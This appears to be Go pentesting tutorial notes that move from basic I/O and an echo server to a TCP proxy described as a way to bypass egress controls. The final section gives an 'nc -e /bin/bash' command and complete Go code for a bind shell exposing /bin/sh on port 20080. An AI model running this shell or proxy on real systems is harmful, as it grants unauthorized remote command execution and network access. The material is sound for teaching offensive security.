Go Pentester - TCP Proxy

Building a TCP Proxy

Using io.Reader and io.Writer

Essentially all input/output(I/O).

package main

import (
	"fmt"
	"log"
	"os"
)

// FooReader defines an io.Reader to read from stdin.
type FooReader struct{}

// Read reads data from stdin.
func (fooReader *FooReader) Read(b []byte) (int, error) {
	fmt.Print("in > ")
	return os.Stdin.Read(b)
}

// FooWriter defines an io.Writer to write to Stdout.
type FooWriter struct{}

// Write writes data to Stdout.
func (fooWriter *FooWriter) Write(b []byte) (int, error) {
	fmt.Print("Out > ")
	return os.Stdout.Write(b)
}

func main() {
	// Instantiate reader and writer.
	var (
		reader FooReader
		writer FooWriter
	)

	// Create buffer to hold input/output.
	input := make([]byte, 4096)

	// Use reader to read input.
	s, err := reader.Read(input)
	if err != nil {
		log.Fatalln("Unable to read data")
	}
	fmt.Printf("Read %d bytes from stdin\n", s)

	// Use writer to write output.
	s, err = writer.Write(input)
	if err != nil {
		log.Fatalln("Unable to write data")
	}
	fmt.Printf("Wrote %d bytes to stdout\n", s)
}

　　

Copy function in Go.

package main

import (
	"fmt"
	"io"
	"log"
	"os"
)

// FooReader defines an io.Reader to read from stdin.
type FooReader struct{}

// Read reads data from stdin.
func (fooReader *FooReader) Read(b []byte) (int, error) {
	fmt.Print("in > ")
	return os.Stdin.Read(b)
}

// FooWriter defines an io.Writer to write to Stdout.
type FooWriter struct{}

// Write writes data to Stdout.
func (fooWriter *FooWriter) Write(b []byte) (int, error) {
	fmt.Print("Out > ")
	return os.Stdout.Write(b)
}

func main() {
	// Instantiate reader and writer.
	var (
		reader FooReader
		writer FooWriter
	)

	if _, err := io.Copy(&writer, &reader); err != nil {
		log.Fatalln("Unable to read/write data")
	}
}

　　

 Creating the Echo Server

Use net.Conn function in Go.

package main

import (
	"io"
	"log"
	"net"
)

// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
	defer conn.Close()

	// Create a buffer to store received data
	b := make([]byte, 512)
	for {
		// Receive data via conn.Read into a buffer.
		size, err := conn.Read(b[0:])
		if err == io.EOF {
			log.Println("Client disconnected")
			break
		}
		if err != nil {
			log.Println("Unexpected error")
			break
		}
		log.Printf("Received %d bytes: %s\n", size, string(b))

		//Send data via conn.Write.
		log.Println("Writing data")
		if _, err := conn.Write(b[0:size]); err != nil {
			log.Fatalln("Unable to write data")
		}
	}
}

func main() {
	// Bind to TCP port 20080 on all interfaces.
	listener, err := net.Listen("tcp", ":20080")
	if err != nil {
		log.Fatalln("Unable to bind to port")
	}
	log.Println("Listening on 0.0.0.0:20080")
	for {
		// Wait for connection, Create net.Conn on connection established.
		conn, err := listener.Accept()
		log.Println("Received connection")
		if err != nil {
			log.Fatalln("Unable to accept connection")
		}
		// Handle the connection. Using goroutine for concurrency.
		go echo(conn)
	}
}

Using Telnet as the connecting client:

The server produces the following standard output:

Improving the Code by Creating a Buffered Listener.

Use bufio package in GO.

// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
	defer conn.Close()

	reader := bufio.NewReader(conn)
	s, err := reader.ReadString('\n')
	if err != nil {
		log.Fatalln("Unable to read data")
	}
	log.Printf("Read %d bytes: %s", len(s), s)

	log.Println("Writing data")
	writer := bufio.NewWriter(conn)
	if _, err := writer.WriteString(s); err != nil {
		log.Fatalln("Unable to write data")
	}
	writer.Flush()
}

Or use io.Copy in Go.

// echo is a handler function that simply echoes received data.
func echo(conn net.Conn) {
	defer conn.Close()
	// Copy data from io.Reader to io.Writer via io.Copy().
	if _, err := io.Copy(conn, conn); err != nil {
		log.Fatalln("Unable to read/write data")
	}
}

Proxying a TCP Client

It is useful for trying to circumvent restrictive egress controls or to leverage a system to bypass network segmentation.

package main

import (
	"io"
	"log"
	"net"
)

func handle(src net.Conn) {
	dst, err := net.Dial("tcp", "destination.website:80")
	if err != nil {
		log.Fatalln("Unable to connect to our unreachable host")
	}
	defer dst.Close()

	// Run in goroutine to prevent io.Copy from blocking
	go func() {
		// Copy our source's output to the destination
		if _, err := io.Copy(dst, src); err != nil {
			log.Fatalln(err)
		}
	}()
	// Copy our destination's output back to our source
	if _, err := io.Copy(src, dst); err != nil {
		log.Fatalln(err)
	}
}

func main() {
	// Listen on local port 80
	listener, err := net.Listen("tcp", ":80")
	if err != nil {
		log.Fatalln("Unable to bind to port")
	}

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Fatalln("Unable to accept connection")
		}
		go handle(conn)
	}
}

 Replicating Netcat for Command Execution

The following feature is not included in standard Linux builds.

nc -lp  -e /bin/bash

Create it in GO!

Using PipeReader and PipeWriter allows you to

package main

import (
	"io"
	"log"
	"net"
	"os/exec"
)

func handle(conn net.Conn) {

	/*
	 * Explicitly calling /bin/sh and using -i for interactive mode
	 * so that we can use it for stdin and stdout.
	 * For Windows use exec.Command("cmd.exe")
	 */
	cmd := exec.Command("/bin/sh","-i")
	rp, wp := io.Pipe()
	// Set stdin to our connection
	cmd.Stdin = conn
	cmd.Stdout = wp
	go io.Copy(conn, rp)
	cmd.Run()
	conn.Close()
}

func main() {
	listener, err := net.Listen("tcp", ":20080")
	if err != nil {
		log.Fatalln(err)
	}

	for {
		conn, err := listener.Accept()
		if err != nil {
			log.Fatalln(err)
		}
		go handle(conn)
	}
}